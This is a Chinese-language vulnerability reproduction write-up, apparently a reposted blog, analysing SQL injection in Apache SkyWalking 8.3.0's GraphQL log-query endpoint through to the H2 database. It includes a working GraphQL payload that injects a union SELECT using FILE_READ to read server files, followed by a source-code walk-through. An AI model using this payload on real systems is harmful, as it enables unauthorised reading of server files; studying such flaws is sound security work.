Skywalking Rce 漏洞利用復現&分析


0x00 漏洞簡介

看到先知各位師傅的復現文章了,借此機會復現學習一波graphql和h2數據庫相關的知識。

0x01 環境搭建

下載源碼進行編譯

https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz

解壓后,進行編譯

./mvnw compile -Dmaven.test.skip=true

使用idea啟動進行調試,直接點擊OAPServerStartUp

image-20210308235851684

切換到skywalking-ui啟動前台

npm run serve

image-20210309000017546

image-20210309000707414

0x02 漏洞利用

1、關於graphql

使用burpsuit或者graphiql執行graph語句進行利用,下圖為讀取文件

image-20210309000854956

關於上圖中的graphql,詳情可看這篇graphql入門

//query
query queryLogs($condition: LogQueryCondition) {
    queryLogs(condition: $condition) {
        logs{
          content
        }
  }
}
 
 
 
//query variables
{
        "condition":{
            "metricName":"INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/tmp/test.txt', NULL) where ?=1 or ?=1 or 1=1--",
            "paging":{
                "pageNum":1,
                "pageSize":1
            },
            "state":"ALL",
            "queryDuration":{
                "start":"2021-02-07 1554",
                "end":"2021-02-07 1554",
                "step":"MINUTE"
            }
        }
    }

(1)query可以理解為書查詢樹的根節點,其中queryLogs為調用的函數。

(2)queryLogs($condition: LogQueryCondition)的括號為插入一個condition變量,該變量的類型為LogQueryCondition,即傳入的數值必須得有這樣子的結構

image-20210311233919658

(3)第二個queryLogs中的參數condition表示傳參字段,其內容為$condition,而$conditon內容被解析為query variables里邊的內容。

(4)logs和content表示,返回內容為logs中的content字段

2、代碼分析

從數據傳入的源頭開始分析,首先是doPost方法對post過來的數據進行處理

image-20210316234513561

在doPost方法中調用了execute方法處理傳入的json數據

image-20210316234707467

最終調用graphql處理方法執行該語句

image-20210316234951911

poc中指向的查詢函數為LogQuery,即如下方法為其實現邏輯

src/main/java/org/apache/skywalking/oap/query/graphql/resolver/LogQuery.java

image-20210317000904733

調用對應的queryLogs方法,最終進入dao方法中進行查詢

image-20210317001906396

經過層層sql拼接

image-20210317002948302

最終進入h2數據庫類的executequery進行語句執行

image-20210317003049314

最終通過拼接sql,進入數據庫sql調用

image-20210317003151586

而底層調用的是h2數據庫,所以我們可以根據h2特性進行后續的利用。詳情可看 我的另外一篇blog

參考

https://xz.aliyun.com/t/9217


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM